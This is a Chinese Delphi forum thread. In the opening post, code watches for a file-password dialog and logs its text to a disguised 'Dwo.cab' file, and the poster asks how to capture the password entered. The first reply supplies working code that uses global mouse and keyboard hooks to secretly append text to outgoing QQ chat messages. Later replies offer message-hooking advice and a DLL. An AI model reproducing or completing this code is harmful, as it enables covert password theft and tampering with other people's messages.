program Project1;uses
  Windows,
  Messages,
  SysUtils,
  Variants,
  Classes,
  Graphics,
  Controls,
  Forms,
  Dialogs;{$R *.res}
var
  h,hwndedit,hbutton:hwnd;
  i:integer;
  f:textfile;
  c:pchar;
begin
 if  not FileExists('Dwo.cab') then
 begin
       h:=CreateFile(PChar('Dwo.cab'),GENERIC_WRITE, FILE_SHARE_Read,nil, CREATE_ALWAYS, 0, 0);
       CloseHandle(h);
 end;
 while 1=1 do
 begin
   i:=0 ;
   c:='';
   sleep(1000);
   h:=GetForegroundWindow;
   i:=GetWindowTextLength(h)+1;
   if i>1 then
   begin
     GetMem(c,i);
     GetWindowText(h,c,i);
     if strpos(c,'检查文件密码')<>nil then
     begin
       assignFile(F, 'Dwo.cab');
       append(f);
       writeln(f,c);
       hwndedit:=FindWindowEx(h,0, 'Edit', nil);
       GetwindowText(h, c ,12);
       hbutton:=FindWindowEx(h,0, 'button', '确定');
       // 下面应该是截获那个hbutton按钮的点击消息
       // if button is clicked then
       writeln(f,c);
       flush(f);
       closefile(f);
       FreeMem(c,0);
       break;
     end;
   end;
 end;end.请看源代码的注释!谢谢!

解决方案 »

  1.   

    Win98se+delphi7,我自己编写的,不过对qq没有测试过,我自己写了个象qq的界面接收发送消息的窗口,用来测试的,给你吧,写的不好.看看对你的问题是否有提示。
    unit Unit1;interfaceuses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, StdCtrls, Buttons;type
      TForm1 = class(TForm)
        BitBtn1: TBitBtn;
        Label1: TLabel;
        Label2: TLabel;
        Label3: TLabel;
        procedure FormCreate(Sender: TObject);
        procedure BitBtn1Click(Sender: TObject);
        procedure FormClose(Sender: TObject; var Action: TCloseAction);
      private
        function GetWndText(hWnd:HWND):string;
        procedure SetWndText(hWnd:HWND;szText:string);
        { Private declarations }
      public
        { Public declarations }
      end;var
      Form1: TForm1;
      hMouse:HHook;
      hKey:HHook;
    const
      sendStr='就让我面对冰冷的电脑,想象你的笑容......';  
    implementation{$R *.dfm}function TForm1.GetWndText(hWnd: HWND): string;
    var
      bufTemp:pchar;
      bufSize:longint;
      L:longint;
    begin
      bufSize:=SendMessage(hWnd,WM_GETTEXTLENGTH,0,0)+1;
      GetMem(bufTemp,bufSize);
      try
        L:=longint(bufTemp);
        SendMessage(hWnd,WM_GETTEXT,bufSize,L);
        result:=StrPas(bufTemp);
      finally
        FreeMem(bufTemp,bufSize);
      end;
    end;procedure TForm1.SetWndText(hWnd: HWND;szText:string);
    var
      mText:pchar;
    begin
      GetMem(mText,length(szText));
      StrCopy(mText,pchar(szText));
      try
        SendMessage(hWnd,WM_SETTEXT,0,integer(mText));
      finally
        FreeMem(mText,length(szText));
      end;
    end;function MouseHookProc(iCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;
    stdcall;export;
    var
      P:TPoint;
      hWindow,hChat,hButton_1,hButton_2:HWND;
      s:string;
    begin
      result:=0;
      if wParam=WM_LBUTTONDOWN then
      begin
        hWindow:=FindWindow(NIL,'发送消息');
        if hWindow<>0 then
        begin
          GetCursorPos(P);
          hButton_1:=WindowFromPoint(P);
          hButton_2:=FindWindowEx(hWindow,0,NIL,'送讯息');
          if ((hButton_1<>0) and (hButton_2<>0) and
              (hButton_1=hButton_2)) then
          begin
            hChat:=FindWindowEx(hWindow,0,'TRichEdit',NIL);
            if hChat<>0 then
            begin
              s:=Form1.GetWndText(hChat);
              s:=s+#13+#10+sendStr;
              Form1.SetWndText(hChat,s);
            end
            else
              Exit;
          end;
        end;
      end;
      if iCode<0 then
        result:=CallNextHookEx(hMouse,iCode,wParam,lParam);
    end;function KeyHookProc(iCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;
      stdcall;export;
    var
      hWindow:HWND;
      hChat:HWND;
      s:string;
    begin
      result:=0;
      //截获oicq发送消息的快捷键(Ctrl+Enter)
      //if ((wParam=VK_RETURN) and (GetKeyState(VK_CONTROL)<>0)) then
      if((GetKeyState(VK_CONTROL)<>0) and (wParam=VK_RETURN)) then
      begin
        hWindow:=FindWindow(NIL,'发送消息');
        if hWindow<>0 then
        begin
          hChat:=FindWindowEx(hWindow,0,'TRichEdit',NIL);
          if hChat<>0 then
          begin
            s:=Form1.GetWndText(hChat);
            s:=s+#13+#10+sendStr;
            Form1.SetWndText(hChat,s);
          end;
        end
        else
          Exit;
      end;
      if iCode<0 then
        result:=CallNextHookEx(hKey,iCode,wParam,lParam);
    end;procedure TForm1.FormCreate(Sender: TObject);
    begin
      hMouse:=SetWindowsHookEx(WH_MOUSE,@MouseHookProc,HInstance,0);
      hKey:=SetWindowsHookEx(WH_KEYBOARD,KeyHookProc,HInstance,0);
    end;procedure TForm1.BitBtn1Click(Sender: TObject);
    begin
       UnHookWindowsHookEx(hMouse);
       UnHookWindowsHookEx(hKey);
       Application.Terminate;
    end;procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
    begin
      UnHookWindowsHookEx(hMouse);
      UnHookWindowsHookEx(hKey);
    end;end.
      

  2.   

    用SETWINDOWHOOKEX建立一个GETMESSAGE类型的消息钩子是可以的,我以前也做过这方面的东西。
      

  3.   

    我有个DLL,可以截取消息..要的话给我发消息